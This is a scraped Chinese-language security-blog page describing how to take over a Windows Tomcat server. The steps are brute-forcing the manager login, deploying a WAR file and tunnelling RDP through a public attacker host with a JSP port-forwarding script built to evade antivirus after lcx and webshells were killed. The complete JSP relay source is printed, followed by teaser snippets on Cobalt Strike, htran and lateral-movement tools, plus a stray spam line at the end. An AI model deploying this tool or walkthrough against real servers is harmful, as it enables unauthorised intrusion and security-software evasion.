<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    通過JSP端口轉發拿下服務器權限

    VSole2022-07-18 08:05:33

    記得他當時是在本地模擬的一個實戰場景來做的這個測試實驗(繞過安全防護進行端口轉發)。

    0x01 環境簡要

    目標主機:Widnows

    目標防護軟件:Antimalware

    目標環境:JSP,Tomcat,Apache

    本地主機:Windows、Kali

    所需工具:Aapache爆破工具,Lcx,JSP代碼,公網IP主機一個

    所遇見問題:lcx被殺,webshell被殺

    0x02 進攻說明

    一、爆破登錄口令

    爆破Tomcat Web Application Manager,這里不做深入說明,大家都懂的

    二、上傳webshell

    由于服務器上防護軟件問題,上傳的webshell被殺,lcx工具被殺,這里采取以jsp轉發端口的形式來繞過

    三、準備jsp頁面的war包

    使用kali把準備好的jsp頁面打包,進入jsp頁面目錄下執行以下命令打包

    jar -cvf aces.war
    

    四、通過已有webshell創建用戶名密碼

    五、通過后臺部署war包

    六、設置lcx監聽本地端口并轉發

    使用lcx監聽本地55并轉發到3399端口上

    七、訪問jsp文件,并設置相關轉發參數

    參數說明:lip=127.0.0.1lp=需要轉發的本地端口rip=公網監聽IPrp=公網IP監聽的端口號m=轉發的模式
    

    0x03 驗證

    成功登錄,自此本次實驗結束

    0x04 JSP源碼

    <%@page pageEncoding="GBK"%><%@page import="java.io.*"%><%@page import="java.util.*"%><%@page import="java.nio.charset.*"%><%@page import="javax.servlet.http.HttpServletRequestWrapper"%><%@page import="java.net.*"%><%/*code by KingX*/class KPortTran {  public void listen(String port1, String port2) {    ServerSocket listenServerSocket = null;    ServerSocket outServerSocket = null;    try {      listenServerSocket = new ServerSocket(Integer.parseInt(port1));      outServerSocket = new ServerSocket(Integer.parseInt(port2));    } catch (NumberFormatException e) {
        } catch (IOException e) {    }    Socket listenSocket = null;    Socket outSocket = null;    try {      while (true) {          listenSocket = listenServerSocket.accept();        outSocket = outServerSocket.accept();        new tranThread(outSocket, listenSocket).start();        new tranThread(listenSocket, outSocket).start();        Thread.sleep(200);      }    } catch (Exception e) {      }  }
      public void slave(String targetIP, String port1, String srcIP, String port2) throws IOException {    InetAddress src = InetAddress.getByName(srcIP);    InetAddress dest = InetAddress.getByName(targetIP);    int p1 = Integer.parseInt(port1);    int p2 = Integer.parseInt(port2);    new Server(src, p2, dest, p1, true);  }
      public void tran(String srcIP, String port1, String targetIP, String port2)      throws NumberFormatException, IOException {    InetAddress src = InetAddress.getByName(srcIP);    InetAddress dest = InetAddress.getByName(targetIP);    int p1 = Integer.parseInt(port1);    int p2 = Integer.parseInt(port2);    new Server(src, p1, dest, p2, false);  }class tranThread extends Thread {  Socket in;  Socket out;  InputStream is;  OutputStream os;  public tranThread(Socket in, Socket out) throws IOException {    this.is = in.getInputStream();    this.os = out.getOutputStream();    this.in = in;    this.out = out;  }
      private void closeSocket() {    try {      is.close();      os.close();      in.close();      out.close();    } catch (IOException e) {    }  }  @Override  public void run() {    super.run();    byte[] buffer = new byte[4096];    int len = -1;    try {      while (true) {        if (in.isClosed() || out.isClosed()|| (len = is.read(buffer, 0, buffer.length)) == -1) {          break;        } else {          os.write(buffer, 0, len);          os.flush();          }      }    } catch (IOException e) {      closeSocket();    } finally {      closeSocket();    }  }}
    class Server extends Thread {  InetAddress src;  InetAddress dest;  int p1, p2;  boolean reverse = false;
      public Server(InetAddress srcIP, int srcPort, InetAddress targetIP,      int targetPort, boolean flag) {    this.src = srcIP;    this.dest = targetIP;    this.p1 = srcPort;    this.p2 = targetPort;    this.reverse = flag;    start();  }
      @Override  public void run() {    super.run();    if (reverse) {      try {        Socket s = new Socket(src, p1);        Socket s2 = new Socket(dest, p2);        new tranThread(s, s2).start();        new tranThread(s2, s).start();
            while (true) {          if (s2.isClosed() || s.isClosed()) {            if (s2.isClosed()) {              s2 = new Socket(dest, p2);            }            if (s.isClosed()) {              s = new Socket(src, p1);            }            new tranThread(s, s2).start();            new tranThread(s2, s).start();          }          Thread.sleep(1000);        }      } catch (IOException e) {      } catch (InterruptedException e) {      }
        } else {      ServerSocket ss;      try {        ss = new ServerSocket(p1, 5, src);
            while (true) {          Socket s = ss.accept();          Socket s2 = new Socket(dest, p2);          new tranThread(s, s2).start();          new tranThread(s2, s).start();        }      } catch (IOException e) {        e.printStackTrace();      }    }  }}}%><%final String localIP = request.getParameter("lip");final String localPort = request.getParameter("lp");final String localPort2 = request.getParameter("lp2");final String remoteIP =request.getParameter("rip");final String remotePort =request.getParameter("rp");final String mode =request.getParameter("m");
    KPortTran pt = new KPortTran();if (mode.equals("tran")) {  pt.tran(localIP, localPort, remoteIP , remotePort);}if (mode.equals("slave")) {  pt.slave(localIP, localPort, remoteIP , remotePort);}if (mode.equals("listen")) {  pt.listen(localPort, localPort2);}
    %>
    
    端口轉發socket
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    腳本運行機制在使用該腳本的過程中,用戶僅需要加載MoveKit.cna腳本即可,它將加載所有其他的所需腳本。除此之外,用戶可能還需要對代碼進行編譯,并存放至Assemblies目錄中,具體取決于SharpMove和SharpRDP程序集所要采取的行為。首先,用戶需要選擇一個在遠程系統上執行的命令,命令將通過WMI、DCOM、計劃任務、RDP或SCM執行。然后,使用File方法將文件存儲至目標系統并執行它。在使用信標命令時,它將讀取默認配置,并使用幾個命令行參數。
    對于很多大佬來說肯定是十分熟悉的,弟弟我只能簡單的介紹下其簡介: cs擁有多種協議主機上線方式,集成了提權,憑據導出,端口轉發socket代理,office攻擊,文件捆綁,釣魚等功能。同時,cs還可以調用Mimikatz等其他知名工具。0x03 實踐說的再多也不如拿真實情況來說話,實踐主要對上述的六種工具做下簡單的使用,并利用線上沙箱進行簡單的查殺檢測。接下來主要以3.12為主。
    本實驗環境靶場以發出,從外到內,給你服務器干翻!
    記得他當時是在本地模擬的一個實戰場景來做的這個測試實驗(繞過安全防護進行端口轉發)。
    內網滲透合集(三)
    2023-01-28 09:44:16
    jsp端口轉發滲透過程中,由于windows和linux的差別以及運行語言環境的限制導致端口轉發經常出現問題。于是自己寫了個簡單的JSP的端口轉發腳本。仿造 LCX的功能,具有正向、反向、監聽三種模式。對于目前數量眾多的JAVA WEB網站來說,可以比較方便的實現端口轉發。在這里發布出來,小伙伴們使用過程中,如果發現什么bug歡迎提交哈~參數說明/KPortTran.jsp?lip = local ip / 本地ip //一般為內網主機IP. lp = local port / 本地端口 //一般為內網主機端口
    內網滲透合集(二)
    2023-01-28 09:35:05
    接下來在內網肉雞再次執行:htran -p -slave 公網肉雞IP 119 127.0.0.1 8009?linux也有實現,感覺使用方法更加明朗,且與windows下的兼容 在此推薦下。把windows的小做修改下,重新編譯了下,源程序比較簡單就不上傳工程文件了,直接給個C文件,自己編譯下即可。linux下實現大同小異,只不過用的fork實現子線程。此時在滲透測試端192.168.10.50可看到通道連接成功,效果如圖4。
    #Cobalt Strike 主要用于團隊作戰,可謂是團隊滲透神器,能讓多個攻擊者同時連接到團體服務器上,共享攻擊資源與目標信息和sessions。#Cobalt Strike 作為一款協同APT工具,針對內網的滲透測試和作為apt的控制終端功能,使其變成眾多APT組織的首選。
    一. 應用層隧道技術1. ssh隧道建立雙向安全隧道將其他TCP端口的通信通過SSH連接轉發用SSH作為傳輸層協議,對流量自動加解密突破防火墻訪問規則的限制SSH本地端口轉發本機偵聽端口
    Cobalt strike(下面簡稱 CS)# 眾所周知,CS是一個以MSF為基礎的GUI框架式“多人運動”滲透測試工具,集成了端口轉發、服務掃描、自動化溢出,多模式端口監聽,exe、powershell木馬生成等.# 釣魚攻擊包括:站點克隆,目標信息獲取,java執行,瀏覽器自動攻擊等。# Cobalt Strike 主要用于團隊作戰,可謂是團隊滲透神器,能讓多個攻擊者同時連接到團體服務器上,共
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类